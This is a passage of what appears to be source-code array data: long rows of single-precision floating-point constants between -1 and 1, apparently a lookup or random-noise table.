0.527499935800293f, -0.489644680144407f, 0.514353996113782f, 0.229842524701725f, 0.139172928186734f, 0.793753206591897f, 0.835555341130211f, 0.794120687009671f, -0.0994745468343306f, 0.109098970584400f, 0.383123470993648f, 0.272549010931094f, 0.683070582699418f, 0.522823199313615f, 0.235903759158310,
-0.269490013000195f, -0.103775744391749f, -0.994083979953753f, 0.754983594207459f, 0.806308398378106f, -0.997543362839150f, -0.00396367603607373f, -0.873768378178592f, -0.755907732827809f, 0.703713206520365f, -0.0716773056166142f, 0.0792968663717508f, -0.113760825029016f, 0.828188140127672f, -0.103062543982628f, 0.0455017026983378f, 0.330658414568756f, -0.615810862221588f, 0.827890015477212f, -0.507551960954374f, -0.371044788092612f, 0.723489294741891f, 0.169072478802524f, 0.885612989356318f, -0.496475905980558f, 0.114400438991609f, 0.427961880327008f, -0.0456714004002505f, 0.0246660859589438f, 0.175616122301987f, -0.349777838484285f, -0.939474935533562f, -0.215061649130134f, 0.907049169335834f, -0.0553600192559760f, -0.982464152311714f, 0.405919915647442f, 0.755952405091542f, -0.695422520039876f, 0.373280568864688f, 0.483909023765611f, 0.784896384994620f, 0.978722132488262f, -0.113866140463085f, -0.630016943176703f, 0.512742627309861f, -0.829104067044703f, -0.240982431155520f, 0.0107361024967163f, -0.438682584788413f, 0.935730031472303f, -0.953447901200043f, -0.984218956474073f, -0.745077052885218f, -0.466232938128846f, 0.0326267564209573f, 0.303877586274065f, -0.199843777507458f, 0.674317529952029f, 0.448678903834397f, -0.681863209154081f, 0.273397524216090f, 0.193101955704959f, -0.342858479278718f, -0.485179713360910f, -0.586067050491890f, 0.393099777352274f, -0.982324485510343f, -0.852553426343700f, 0.773613825101220f, -0.590256032959421f, 0.837952413540589f, -0.643137731235821f, -0.311955662956384f, -0.888588599835619f, 0.304629859477166f, -0.810098957400030f, -0.534291626181040f, 0.878601703692302f, 0.362706441157764f, -0.254447668911795f, 0.604309282304246f, -0.977266419340276f, 0.250927873824064f, 0.549600558999971f, -0.796155833245480f, 0.226373301058549f, 0.0137578302483823f, 0.819708534464965f, 0.185662636424304f, -0.450456459548662f, 0.0953849597308440f, 0.736872088617975f, -0.582024306116842f, -0.0522261513001507f, 0.394348349710790f, -0.461023913227183f, 0.139996201153565f, -0.790168851966909f, 0.692544084408690f, -0.580603732841955f, -0.584540773580447f, -0.967062276813525f, -0.00886260208554912f, -0.0520831218167985f, -0.999614949922684f, -0.965820736077636f, 0.366390034326646f, 0.0323069925013668f, 0.164651515113853f, 0.300260003499445f, -0.340634856317630f, -0.238157231550037f, -0.291645957143165f, -0.773881882387456f, -0.144494053860223f, 0.660329619628580f, -0.626727996257997f, -0.994965090982706f, 0.161018019917379f, -0.327211572176153f, 0.0410991278573425f, 0.0123663905917732f, 0.747176159655312f, -0.485981637435718f, 0.00667961234248971f, 0.631625759154389f, -0.831294487064668f, 0.449606477050286f, 0.768845094514142f, 0.928354534843426f, 0.812647997969340f, 0.353418126917875f, -0.872184763557736f, -0.579130598386915f, -0.912928075675835f, -0.779484407508668f, 0.534916834944041f, 0.326353225230543f, 0.395431557674662f, -0.842103899863317f, 0.196590107332985f, -0.261317824893025f, 0.750190543523333f, -0.103409967857074f, -0.201452426430379f, -0.213633615009587f, 0.578822104214576f, -0.130809161238349f, -0.774608769872343f, -0.0222201705228122f, 0.126990738965544f, 0.785780586747108f, 0.0379484317527632f, 0.837140835706189f, -0.191007948387153f, 0.106781679021568f, 0.990298140861558f, 0.618337701073777f, 0.460255491901774f, 0.716379796730692f, -0.159421014009881f, -0.560212468621569f, -0.147263014783522f, -0.962301694075771f, -0.327702010262213f, -0.773959532468388f, 0.351239668535113f, -0.682281479449518f, 0.342188824054257f, -0.743039216419066f, 0.700710268270439f, 0.919651386092770f, 0.626343233048871f, -0.157189576636596f, 0.781882574006976f, 0.349953565654219f, 0.361235312853466f, 0.313242228422046f, 0.582185182102266f, 0.554504358491139f, 0.711217954194576f, 0.332473377627418f, 0.165078226255772f, -0.228349029389292f, 0.899730713958153f, 0.653894503448836f, -0.0452904440925501f, 0.0328806142413372f, 0.793701315832839f, -0.703826261467540f, -0.901648894320192f, -0.195631966969018f, -0.0470590812056508f, 0.487185699934959f, 0.175961644103331f, 0.818028721319245f, -0.224389104974946f, 0.901974203693823f, -0.153212477843726f, -0.472747796173897f, -0.587471692952684f, 0.452340198339707f, 0.996443894349412f, -0.849126217374502f, -0.403800337277983f, 0.923427876645159f, -0.0516037992113898f, -0.380335341989182f, -0.299914673109747f, 0.764492139190834f, 0.773463290027243f, 0.0175454601261817f, -0.400742340353541f, 0.912354892189422f, 0.999766609328281f, -0.521321752061712f, -0.365769506846305f, 0.477612405338644f, -0.0522578739905535f, -0.479259238587280f, 0.645161410912429f, -0.702546085166056f, 0.359736398041538f, 0.638130894056863f, 0.115633419893101f, -0.674410360620500f, -0.150824943737990f, -0.824854463897591f, -0.504410162129685f, 0.560317574021813f, -0.159611666752889f, 0.997647540626334f, 0.702777895178414f, -0.946494281691535f, -0.0109619562916898f, -0.383756482005404f, 0.872670066971334f, -0.453527506439184f, -0.635719199113957f, 0.932852122005178f, -0.800755479140234f, -0.225213334363716f, 0.251163542389519f, -0.598147625383133f, -0.155241293946661f, 0.967736510890644f, -0.0157250628103103f, 0.250570924071858f, 0.209749651169078f, -0.381016062687537f, -0.679300447230592f, 0.160197663113971f, -0.749803147200800f, 0.596917045783617f, -0.0878737681749431f, 0.642402180339789f, 0.261614973684270f, -0.111833224093973f, 0.300170844971678f, 0.317966800167647f, 0.0585375534708252f, -0.842709435910728f, 0.760207701069839f, -0.979366191145221f, 0.940703569377911f, 0.866488078693979f, 0.553497107695259f, 0.127260247084497f, 0.530106152060111f, 0.725171359852920f, 0.356742729430045f, -0.209841680046178f, -0.164239817187855f, -0.888858150931758f, 0.0367561852378047f, 0.803496113779956f, -0.594927045375575f, -0.00347281985657166f, 0.114118941713783f, -0.427864462568672f, 0.719021423892768f, 0.335845790828654f, 0.0207216235296064f, -0.523146933862102f, -0.145001077781793f, 0.490566784879983f, 0.461904660734682f, -0.897010089735077f, -0.895737903861849f, 0.343397505472310f, -0.684377591381862f, -0.0154016881290400f, -0.462987614871549f, 0.884045010701589f, 0.192617174725234f, 0.226497290324550f, -0.788151335932529f, -0.190538526746651f, -0.556614046330326f, -0.139480186854974f, 0.196785300148418f, 0.978844132512627f, -0.290726060479808f, -0.591813978495167f, -0.0769033757443105f, -0.467044929381376f, 0.171585053083057f, 0.408215527269010f, -0.818706013465989f, -0.328144984930982f, 0.790275356337217f, -0.977491163139178f, -0.979679268318504f, -0.524875121608236f, -0.263859024168277f, 0.0180787743488171f, -0.984390626106750f, 0.952274619010224f, -0.851400664579601f, 0.692959439369046f, -0.150312001943653f, 0.712066554169562f, -0.492336226254660f, -0.453559897031351f, -0.159679763180474f, 0.745834647687870f, -0.725963425297178f, -0.720341794596050f, 0.370674334928492f, -0.845974926208293f, -0.00448769398027360f, -0.595973105115042f, 0.967372249596385f, 0.512949503724102f, 0.889619262804735f, 0.990718232652913f, -0.662246751886904f, 0.333846293708563f, -0.423114421367372f, 0.549637439543149f, -0.987876053136374f, -0.782714958794276f, 0.294868983681807f, 0.931284560597614f, 0.445522387300861f, -0.388400162488578f, -0.182673246109423f, -0.773488958971573f, 0.438788569593725f, 0.578106509978236f, -0.373449127435319f, -0.301996528814967f, -0.227124771031239f, 0.700176189695036f, -0.910948938567526f, 0.733412403327578f, 0.486154072292544f, -0.974058632864456f, 0.216693355653246f, 0.147564301397678f, -0.715192277853558f, -0.366996833259925f, 0.568909126406069f, -0.0810069456450131f, -0.371253841044151f, 0.254736918036059f, -0.868966383080701f, 0.190312518076662f, 0.457253801337437f, 0.941043431633233f, -0.297470749600241f, 0.244270515950156f, -0.240122562119888f, -0.766384662307300f, 0.765045432900429f, -0.608250739173787f, -0.733052557932594f, -0.268433000443065f, 0.733598123424154f, -0.0550005774741753f, 0.273893221740822f, -0.659641650983149f, 0.967032725204337f, 0.390126626361090f, 0.518740746381756f, -0.859387560527806f, 0.554117289841284f, 0.648904904654236f, -0.755880975555381f, 0.834231592524942f, -0.137512395743275f, 0.0477027353535724f, -0.880364563062979f, 0.458763614093086f, 0.650036413308116f, 0.496385905878033f, -0.418537115548864f, -0.565561960782851f, -0.227941684691245f, -0.165031891659812f, 0.204464989908300f, -0.688093624763916f, -0.678874848552394f, 0.813764873880514f, -0.561723359541237f, -0.575805702297063f, -0.288097000970518f, 0.950119107184838f, 0.709879842972902f, 0.730067219897393f, 0.710813066057284f, -0.192333836978130f, -0.190446300563246f, 0.872679304648751f, 0.134143163657763f, -0.979443835407234f, -0.103872104041761f, -0.0568328979324004f, -0.863020133862081f, -0.0257801722427251f, -0.577962771617033f, -0.0500056799801032f, 0.191817418291914f, -0.799853775410853f, -0.110019424741421f, 0.840753817223395f, 0.355588322976119f, 0.274501278628024f, 0.757538306972136f, 0.771547320156202f, 0.0394143752709530f, 0.120744072764658f, 0.324337882930581f, -0.380086709776951f, -0.772025774284869f, 0.473986846199588f, 0.703247561676381f, 0.734667480205300f, -0.594290184210087f, 0.760158653782445f, 0.624553744314883f, -0.941053266957965f, -0.165913770936962f, -0.0497972870738055f, -0.0435608680908517f, -0.663165366083943f, -0.570972482385751f, 0.427845034528880f, 0.0897903148165149f, -0.481825010950428f, -0.0901127105939594f, 0.887770435656611f, 0.770985476674623f, 0.00966158758316293f, -0.331059327378268f, -0.286033645163736f, -0.0698945910210471f, 0.834392309773299f, 0.875537383319608f, -0.657919190548359f, 0.583890957562885f, -0.418481077359384f, -0.282242397022386f, 0.864577023994874f, -0.898367126143440f, 0.815804441243808f, 0.616061408588373f, 0.132365642864798f, -0.221099752471970f, -0.852722283680675f, -0.269499596712950f, 0.360828136129415f, -0.120022743070141f, -0.0354652134632905f, -0.718389836602256f, 0.973490047219112f, -0.201775047168341f, 0.348769511760972f, -0.338750368577880f, -0.269769414088757f, 0.498910931428472f, -0.787648791515347f, 0.508408064858444f, -0.904215976374529f, -0.778575029821227f, -0.662889546847757f, -0.787503064261069f, -0.915166838630178f, -0.415784802770356f, 0.731806835017609f, -0.903922155472207f, 0.0872811033112211f, -0.452516774501827f, 0.577942533813694f, -0.200909337658770f, 0.866167939661793f, 0.982552542055944f, -0.332277333696961f, 0.201673960342839,
0.881239812364993f, -0.0293753746942893f, 0.0967170348490725f, -0.765573023404242f, -0.179225339525953f, -0.931530757069740f, -0.702596334762137f, 0.439106079307245f, -0.469364154277323f, 0.211063395888038f, -0.245858633045693f, 0.936376071219385f, 0.0334087380010875f, 0.0765265939183459f, 0.417091701258078f, 0.962467059286170f, -0.180698008768999f, -0.129816441691123f, -0.833694435146788f, -0.800582099046532f, 0.736376297618233f, 0.0164704176688124f, 0.207462305741760f, 0.300555292898496f, 0.777154212278295f, -0.0804533056660695f, -0.279940128908185f, 0.203101811030871f, 0.447496959357837f, 0.508353359025257f, 0.644333822521829f, 0.897259297488483f, -0.675785952117501f, 0.149337263319588f, 0.350953290584184f, 0.600296681944338f, -0.606098182955297f, -0.418312129297725f, 0.792551232171214f, -0.944025948110651f, -0.923106441737020f, 0.508989820072736f, 0.101554011154237f, -0.799369609980037f, -0.229001813644938f, 0.196367996268564f, -0.634078446275840f, 0.267446716753553f, 0.943765754688567f, 0.329924442019441f, -0.898235312442524f, 0.563592978494850f, -0.976934293161001f, -0.609744819901837f, 0.498989633313589f, -0.105680058480959f, -0.400730747241191f, 0.264919109340783f, -0.313066735594123f, -0.465399967597728f, -0.425123918113080f, -0.609514085808810f, 0.916560800692384f, 0.0173757138934230f, 0.147814399202503f, 0.594152503614559f, -0.145681097751433f, -0.427232299718493f, 0.233460382614713f, 0.337361272635241f, 0.376106438004541f, 0.900277274651600f, 0.424547631957395f, -0.710790444715071f, 0.0846761090154495f, -0.0122707338404220f, 0.119989812955904f, -0.239774389963524f, -0.692300891031819f, -0.735109129583214f, 0.802276300301071f, 0.348982047806247f, 0.916302084278941f, -0.0838164783829127f, -0.989134997097880f, 0.832909602224562f, -0.701363449605445f, -0.150487976031971f, -0.728594035984111f, -0.144393031996783f, -0.458856761770637f, 0.733295441303064f, -0.405608670768629f, 0.522871610912813f, 0.468223399458939f, -0.575139530810903f, -0.241684287862418f, -0.499140599234906f, -0.395586476697394f, 0.692745485195348f, -0.125142235859546f, -0.342212246193052f, 0.133841188490164f, -0.539478395228865f, -0.887973984329817f, -0.474033882236453f, -0.837114132429830f, 0.773392302912611f, 0.117697651876253f, -0.461595011213406f, -0.528669601602068f, -0.957799577987062f, -0.468654423525192f, -0.0602288998398475f, 0.154553704272891f, -0.422854231304259f, -0.496136532114270f, -0.348154983723668f, 0.0576478341707483f, 0.542088962901856f, -0.0465812136931592f, -0.280128217727361f, -0.900695482510248f, 0.525110685457899f, -0.957266165874283f, 0.136490670826643f, -0.213221811269364f, 0.690040133288898f, 0.269408771473479f, -0.0488994830172422f, -0.837526616586426f, -0.289127052660601f, 0.149325279006459f, -0.694169700971401f, -0.0230547571616897f, -0.368313297034846f, 0.344434270521740f, 0.859135365902404f, 0.839336654691204f, -0.511783987355355f, -0.0349625753049687f, 0.935857929664427f, 0.820032045433520f, -0.0394079346656324f, -0.656352913407746f, -0.874383371678169f, -0.425836335156061f, 0.208600154889275f, -0.135596548598733f, 0.566430757256762f, 0.820840891306264f, 0.735746624790780f, -0.765482927015804f, -0.0195537720748045f, 0.606216172027628f, 0.436027839798869f, -0.609233580289002f, -0.963547951222316f, -0.575271468261977f, 0.692873344771925f, 0.143031668657597f, 0.890157114774225f, 0.762299295692265f, 0.653618249618643f, -0.957258626549595f, 0.521895225378123f, -0.607922211531407f, -0.956795748110572f, 0.477633684273092f, 0.794301967670603f, 0.139753218894595f, 0.371726372555490f, -0.804791987531745f, 0.837080126047059f, -0.440992020192054f, 0.584986017638085f, 0.950442046050057f, 0.613109120495913f, 0.633948971396891f, -0.581246845000116f, 0.730290176291093f, 0.599119212595240f, 0.120096101936515f, -0.144169383323758f, 0.930776406826440f, -0.0209712926465206f, 0.572995665695966f, 0.924623298379120f, -0.751832867985678f, 0.630196806059302f, 0.506634179395662f, 0.0388997263873157f, -0.311041196366299f, -0.729049093325017f, -0.918815504666740f, -0.103935429478766f, -0.000623544124330300f, 0.102880227280474f, -0.563637096166535f, -0.332148269587814f, 0.472114131256244f, 0.295717126494164f, 0.246944592105312f, -0.713191555660498f, 0.160410320426559f, 0.110992936470077f, 0.213877527744528f, 0.541660996543375f, -0.872405734998843f, 0.388515073094269f, -0.840811647524440f, -0.968008592072007f, 0.669947948420772f, -0.122943215855172f, 0.565929115911552f, -0.695408966310186f, 0.361296950635219f, 0.574282481983669f, 0.0877180513263536f, -0.694316083550519f, 0.327696487191071f, 0.289746985823208f, -0.241476327174879f, 0.605084742574250f, 0.0929272338220821f, -0.391399761658219f, -0.612928183827531f, 0.0471987261466311f, 0.157388702609590f, 0.575695018001234f, 0.450453491026024f, 0.876623108212541f, -0.456500163180038f, 0.436901006801809f, 0.796734433864345f, 0.771008396172517f, -0.784740610155705f, 0.405172719255834f, 0.958393667559228f, 0.787380105147761f, -0.262826016234054f, 0.773327117333271f, 0.482142068916266f, -0.461607549022954f, -0.153993688218026f, -0.129280134980317f, 0.901812622560630f, -0.111520793491644f, -0.0973214524989203f, -0.293695817178366f, -0.190045093887485f, -0.204792515844396f, 0.501086384719391f, 0.755953359112033f, -0.425886872154604f, -0.0883029298084141f, 0.763071371252921f, -0.556289447935984f, 0.577370462369201f, 0.0480599614417476f, -0.794423686623353f, 0.756645959967545f, 0.570538730848462f, 0.872575422156333f, -0.443572567528656f, -0.0487937634747691f, 0.283986553648095f, -0.170910821134099f, -0.329867000423004f, -0.982322841409943f, 0.555344201026651f, -0.351964643393940f, 0.776172688776518f, -0.148102477734717f, 0.889532618676503f, -0.310979434517253f, 0.711839903052208f, -0.646385596147085f, 0.145592596381502f, 0.233949589173221f, -0.825471565980294f, -0.370248763132654f, -0.777194557275684f, -0.224658064754195f, 0.263281286751478f, 0.849661910468068f, 0.271261490445121f, -0.915885420717958f, -0.947144520818678f, 0.227960459606299f, 0.784463828083640f, 0.995882406349565f, -0.987273766396493f, 0.0792453274840108f, -0.788403526960056f, -0.619975942121645f, 0.801181796307713f, 0.967884377026145f, -0.781223064263388f, -0.300716486479280f, 0.994748932974184f, -0.200152360574411f, -0.101898131541608f, 0.542914585925881f, 0.407729967031792f, -0.105215843903154f, 0.638066037611924f, -0.563777780161298f, 0.134189395993685f, -0.503320561486155f, -0.0379170306314711f, 0.723638115686875f, 0.747948383928228f, 0.928239905995551f, -0.736883772878758f, 0.892242913709735f, 0.468998243295705f, -0.224406388545097f, 0.758754382878863f, 0.994739001052496f, -0.749837906573089f, -0.938777322178786f, -0.619168635741936f, 0.827875717654585f, 0.294033159230782f, -0.372766318349126f, -0.292752124932124f, 0.396629951868878f, -0.986760927173237f, -0.0841834195975009f, 0.999760803826313f, 0.0142305924173638f, -0.820393900206961f, 0.409972278573230f, 0.227315924377402f, -0.641500351639361f, -0.470788010535406f, -0.486171076557593f, -0.758140688442947f, -0.971539708794928f, -0.949039718833189f, -0.146844988902767f, -0.0183627478820223f, 0.402918762093981f, 0.0620266698060286f, -0.182527786403967f, -0.374395326540229f, 0.566584207940253f, 0.879546558847970f, 0.853360173786566f, -0.515321950652696f, 0.511692631053674f, 0.342152084355850f, 0.374686420595610f, -0.794372980760555f, -0.648670375991101f, 0.761192158420166f, 0.223791993225057f, -0.342720055148453f, 0.965612513218950f, -0.796193009647904f, 0.215057114709867f, -0.0459498239576994f, 0.871047701509015f, 0.664672380241520f, -0.546301701630944f, -0.939910946986200f, -0.213195706858966f, 0.559543622118596f, -0.255844807516886f, 0.509576048776352f, -0.699005089750431f, -0.520317652140772f, -0.924306703712950f, -0.923814193467638f, 0.868401299001930f, -0.571229497763863f, 0.984740691690212f, -0.911782692220985f, -0.265295471266664f, 0.0479848731515942f, -0.195328058836883f, 0.758281465939343f, -0.418177229854869f, -0.263323557662932f, 0.0230762644115943f, 0.382605016442608f, -0.576209059863238f, -0.739785100410209f, 0.0956412509899256f, 0.0369702493097637f, 0.0738922616872486f, 0.589371657036664f, 0.548586250623500f, 0.996096574632666f, -0.574178408335425f, -0.827059309028347f, 0.600283403682961f, -0.0651062813338117f, 0.985857002071398f, 0.982700721670305f, 0.777628710286989f, -0.139415722014730f, 0.951156387462424f, 0.806391217144736f, 0.135433009714206f, 0.252388414319270f, 0.485541324740928f, 0.270688932431637f, 0.892850103229909f, 0.440168171407923f, 0.515384398158669f, 0.600884162546465f, 0.947986221531091f, 0.339440884303404f, 0.403857490690436f, -0.937015609644647f, 0.729529495316627f, -0.389601866986821f, -0.420712615666380f, -0.763003723744745f, -0.0619534667970105f, 0.486654476027536f, -0.943536854881494f, 0.471171699317719f, 0.996886209046820f, -0.945316270673373f, 0.230772742042993f, -0.621222111022648f, 0.838934157721328f, 0.124035987915113f, 0.737576768711407f, -0.217898078842006f, 0.0429859145211120f, 0.223685413947773f, 0.820073956039170f, -0.378381145423743f, -0.335672684173821f, 0.649791267584388f, -0.457253860252872f, -0.664776842833046f, 0.150429615666837f, 0.974812973893170f, 0.00119972362050369f, 0.140744912838368f, -0.252632269055503f, -0.124205752907507f, -0.383194456927254f, -0.356455432479067f, 0.0694989880525767f, 0.188230048541949f, -0.854592697407303f, -0.902559387772971f, 0.454054169179423f, 0.534684767654295f, 0.806837289706952f, 0.274203715752641f, -0.765433763984323f, 0.459365005291520f, -0.896797218412250f, 0.382900474341852f, 0.169400421233177f, -0.184111368111075f, 0.0323514487432812f, 0.621015577938758f, 0.139872518806323f, 0.480965263781330f, 0.0649386999855643f, 0.815365754221614f, 0.761990264098834f, -0.0927412249348933f, -0.580853742457387f, 0.211615321410605f, 0.165159968106305f, 0.305515629345863f, 0.725748395743965f, -0.667649812347274f, -0.621843189978885f, -0.939317191264789f, -0.197108718554958f, 0.902152006895939f, -0.889744652803018f, 0.667113256888905f, 0.929471703711725f, 0.660025836042506f, -0.0712223078913006f, 0.416152292126436f, -0.602223852277700f, -0.828462878627106f, -0.956915163338265f, 0.298196541541469f, -0.933863927954050f, -0.198745190221695f, 0.749101206471011f, -0.922366396086261f, 0.769953026855636f, 0.971459582749177f, -0.226637139032289f, -0.593509265485619f, -0.635649447577657,
-0.443127775644156f, 0.350464269654307f, 0.379979516655134f, 0.896282784801247f, 0.00871209446887344f, 0.401818712823609f, 0.815422566258939f, 0.215868289995843f, 0.682217845700443f, 0.508819667108007f, -0.988484263336122f, 0.216656890144568f, -0.185777888700071f, 0.522106353117928f, 0.894211314619113f, -0.779300881699217f, 0.137801937535128f, -0.818740955579722f, 0.637214461095055f, 0.187867696634722f, 0.184985729971243f, 0.315323389557324f, -0.0312525033775366f, 0.498559120407008f, 0.855778208118391f, 0.936851170962385f, -0.0524308158818188f, 0.257087262622978f, 0.816141818246927f, -0.147192803443011f, 0.194545158383538f, -0.655428449892669f, -0.650441844539509f, 0.536015423540886f, 0.0250060573607953f, -0.863380305825989f, 0.0605420782823460f, -0.963662464088496f, 0.689136717877590f, -0.929664162821947f, -0.327349437742288f, 0.713122240487331f, 0.765587094162777f, -0.314350325341316f, 0.409992519686522f, 0.753377832105546f, -0.756848529995586f, 0.760787899507869f, 0.512213162407276f, -0.674820237484644f, 0.560776719592082f, -0.874905891603855f, 0.925202682923872f, -0.907405002733482f, -0.575836335118172f, -0.248173888600965f, -0.187923239740639f, 0.230951002247789f, -0.540190666146588f, 0.390890663320481f, -0.705511708249712f, 0.0980457138183717f, 0.879979753648798f, -0.378326046226794f, -0.645363625221967f, 0.883365508962968f, 0.728720763588748f, -0.191571576393619f, -0.941989254130187f, 0.944312154950866f, -0.367184985473008f, -0.974124559264444f, -0.579946765132286f, 0.509825236656578f, 0.952047194261820f, -0.0955445631918663f, -0.00500764501201401f, -0.00111382665477655f, -0.0404281661495578f, -0.265706359102834f, 0.865881843285797f, -0.947915521623861f, -0.820337973623839f, 0.0843747524022067f, -0.948599514028391f, -0.464018526769358f, 0.600790429663803f, -0.0779017384430381f, 0.756949801920938f, -0.955436496929340f, -0.553346424499498f, -0.401256107066610f, 0.569624108543687f, 0.179455179577041f, -0.189386842296675f, -0.467166492259358f, 0.367644583467601f, -0.722338735126514f, 0.863903729827081f, 0.0631027352569811f, -0.982269235503679f, -0.837788470642698f, 0.421730643738386f, -0.671745211565315f, 0.858467932275763f, -0.745298219348761f, -0.659594977600028f, 0.403238381269873f, 0.951987904652099f, 0.228887404582426f, -0.331665752024408f, 0.794789885033899f, 0.669978127515269f, 0.977583870328654f, -0.346398989178462f, 0.692053246433782f, -0.159407706019695f, 0.710808563527500f, -0.555701359319642f, 0.625665798239905f, -0.711048329414687f, -0.672431532474912f, -0.474897384314332f, -0.196250611816064f, 0.902140605659856f, -0.459732035217428f, 0.651412290305649f, -0.686137550630920f, -0.803228611526547f, 0.371120664039117f, 0.289869860968561f, -0.720979161638185f, -0.0940498575417996f, 0.185025844935128f, 0.401524077274769f, 0.811721346556136f, 0.224659861626089f, 0.106438807548742f, -0.117458956991326f, -0.407361487623449f, 0.683891165426988f, -0.216582410631386f, 0.710644530504861f, 0.867797453793643f, 0.626683550176870f, 0.115061097783331f, 0.976742668387085f, 0.250700864990527f, 0.272723539841862f, 0.159923684669346f, 0.167713264013185f, -0.445764377935606f, -0.489538472614810f, 0.227880894824940f, 0.670702116476237f, 0.610361511284318f, 0.503801949624464f, -0.687816091694902f, -0.0413765153535617f, 0.155769004545734f, 0.921910233366689f, -0.467299226678025f, -0.991984541712805f, -0.527009262324220f, 0.248157897392517f, 0.661145853979517f, -0.975947426744844f, -0.242453990684693f, -0.277956284573619f, 0.162010437415540f, 0.889456199489152f, -0.171259539670729f, -0.0636124576727060f, 0.311318764402696f, -0.227771282875219f, -0.567702050585727f, -0.132881625149059f, 0.870846950418812f, 0.440078398779761f, -0.0908818839265000f, 0.410077545060762f, 0.917678125288724f, 0.975295290129489f, 0.736514272579886f, 0.653896379317074f, -0.166512942888681f, -0.218665383726096f, -0.0688642360506688f, -0.596589868100824f, -0.180873413844075f, 0.229002598511067f, -0.647630976455599f, 0.722615884501717f, 0.760194030884127f, 0.253262836539679f, 0.0734191803957118f, -0.941427952376035f, 0.224118866807764f, 0.634990976599086f, 0.538622500570355f, -0.591487367587299f, 0.829253069890529f, 0.426659996899884f, -0.562435396124737f, 0.924178169394878f, -0.693964899988321f, -0.520472617448914f, 0.845157115508053f, 0.162984246343684f, -0.212032053476592f, 0.0482566706558292f, 0.820584028875367f, 0.676120066619505f, 0.590174358812695f, -0.457289938956925f, -0.351282540371674f, 0.322162683499620f, -0.683726196205246f, -0.279636659553935f, -0.186133028676429f, 0.965481755833750f, -0.0550172560314044f, -0.437844829991532f, -0.448670532146325f, -0.438916826946834f, 0.830205353164842f, -0.0125988502002286f, 0.733716462327519f, 0.870000673588185f, -0.189915082276716f, -0.676269331249200f, -0.336432931956768f, -0.288892891213265f, -0.912569275291884f, 0.509853767908707f, -0.658452317958678f, -0.562848133961047f, -0.102082581799095f, 0.904062026055565f, 0.473339990381854f, 0.210234896873676f, -0.0884007008398613f, 0.720872020499257f, 0.538315255331760f, -0.884485227439286f, 0.160844002639634f, 0.625863524205804f, -0.947487159926400f, 0.362643826956149f, -0.189913270725334f, -0.110428721523612f, -0.666510263156819f, -0.214827103263521f, 0.912669747474334f, -0.973896103049543f, 0.665373714127588f, 0.148135031012834f, 0.126524689644449f, 0.00283763548841764f, 0.312700495893193f, 0.579520771033243f, 0.677583023476560f, -0.779567427807191f, 0.0694994546110597f, -0.298762697062437f, 0.655210050716681f, 0.435909078048151f, 0.322095567178671f, 0.764827170021089f, -0.713736794113842f, 0.992844460358584f, -0.735915506109616f, 0.280204875392391f, 0.584446532772711f, 0.796955505835788f, 0.742508124239176f, 0.0785523490091065f, -0.562359397016753f, 0.874448473576734f, -0.794251927759664f, -0.658767152705445f, 0.120015806343044f, 0.662372174700575f, -0.719334975225296f, -0.663474261357014f, -0.637663874969148f, 0.706137632813821f, 0.734790814693796f, -0.449118755654663f, -0.758125670003823f, 0.719059339327447f, -0.228679956701166f, -0.0782671261690160f, 0.637830522744746f, -0.178696376536345f, -0.848273935253246f, 0.840882430630200f, 0.977813953976437f, 0.565474986185913f, -0.807314895274907f, -0.100534840844589f, -0.436186956483089f, 0.854663592026441f, -0.547576146320248f, -0.621784076386717f, 0.688687549426321f, -0.688962085987764f, -0.998914668418794f, 0.751493418398842f, -0.203018738091861f, -0.881317097659280f, -0.422480898609404f, -0.321074554557095f, -0.759379357125740f, -0.806503084491033f, -0.496837315822352f, 0.217087355208111f, -0.776801484423500f, -0.445747498145286f, 0.710204776554782f, 0.274276964033182f, 0.650397224484409f, -0.709395921248168f, 0.862663541330686f, -0.946166202558813f, 0.826638502366159f, -0.450587332736099f, -0.808257632193740f, -0.414360554482101f, -0.471118187583276f, 0.981592919290155f, 0.192794908371370f, -0.314979855997427f, 0.722518962804398f, -0.795914669179603f, 0.121447532644509f, 0.0446893237592363f, 0.651720955387594f, 0.897128141094619f, 0.283834144643742f, 0.369570391543943f, -0.163784005163726f, -0.799144231493300f, 0.338136741961422f, 0.795991730702685f, 0.601735561139351f, -0.556654767533027f, 0.907044495725416f, -0.374604065784494f, 0.814308532452677f, -0.254295412850351f, 0.443103437041340f, -0.0218296619602199f, 0.826728672505738f, 0.773205771668962f, 0.171909022893217f, 0.497670481959597f, 0.954178712898056f, 0.0840098577761919f, -0.705861127301893f, 0.145663865959608f, -0.436204975766037f, 0.479359595998989f, -0.719493824988072f, -0.523146212355768f, -0.917822711649927f, -0.610003715217602f, -0.192266667446473f, -0.377507163265653f, -0.250419291332051f, 0.873627391381727f, 0.922899703740095f, -0.902411671519496f, 0.285830821349708f, -0.577368595723736f, -0.598296174995687f, -0.0152478418690674f, 0.503725955636280f, 0.946501779740920f, 0.261108140547963f, 0.206258978593364f, -0.887022338332430f, 0.989187042741485f, 0.461764104690670f, 0.305280284664753f, 0.243972878436235f, -0.573704516784209f, 0.111805651228880f, -0.373590027525854f, 0.574564836347642f, -0.712884790778729f, -0.0570130063179222f, 0.244209425500712f, -0.717492787619277f, -0.476920207759357f, -0.444169983027413f, -0.254851417015366f, -0.505678630542571f, -0.953549022234155f, -0.0316841901798541f, 0.198256779602804f, 0.151938229162240f, -0.0259028503944394f, -0.799645893003010f, -0.889308912372168f, 0.339221517072804f, 0.904784479404768f, -0.367330903112591f, 0.866281762131661f, 0.112765232993802f, -0.0852946527317187f, -0.283538359072154f, -0.734951426632046f, 0.502970854898684f, -0.541434927857400f, 0.881496286285600f, -0.227404039639917f, -0.636983936776183f, -0.0799774217214970f, -0.833780310813424f, -0.222787370954425f, 0.433143783060434f, 0.0953330524947187f, 0.965400264971588f, 0.308927931247299f, 0.344316393259575f, 0.122880788538352f, -0.898509922382301f, -0.187062523329053f, 0.705352247460646f, -0.817811000761718f, 0.303714513401701f, 0.714863075518907f, -0.00862372607283035f, -0.842715848975590f, 0.816504077307885f, 0.924594085591125f, 0.334618732730041f, -0.212414743241377f, -0.758289625449925f, 0.586405661412351f, 0.909247363444287f, -0.800422609846793f, 0.397430897916299f, -0.408827454151232f, -0.411913213123543f, -0.602703152770135f, -0.893591462026327f, 0.417648762458765f, -0.766362696266534f, -0.166060103951854f, 0.883234167729589f, -0.0741908774062401f, 0.113912882075078f, -0.268248292164738f, -0.825585719915457f, 0.885446166477969f, -0.996523379251940f, -0.000841720632677401f, 0.940286529247477f, -0.528330498750176f, 0.0938880690147421f, -0.966296878893937f, 0.891956527154360f, -0.483384605653306f, 0.257210342748458f, -0.820220338820906f, 0.363913841603935f, 0.0364865250689275f, 0.0619156958713947f, 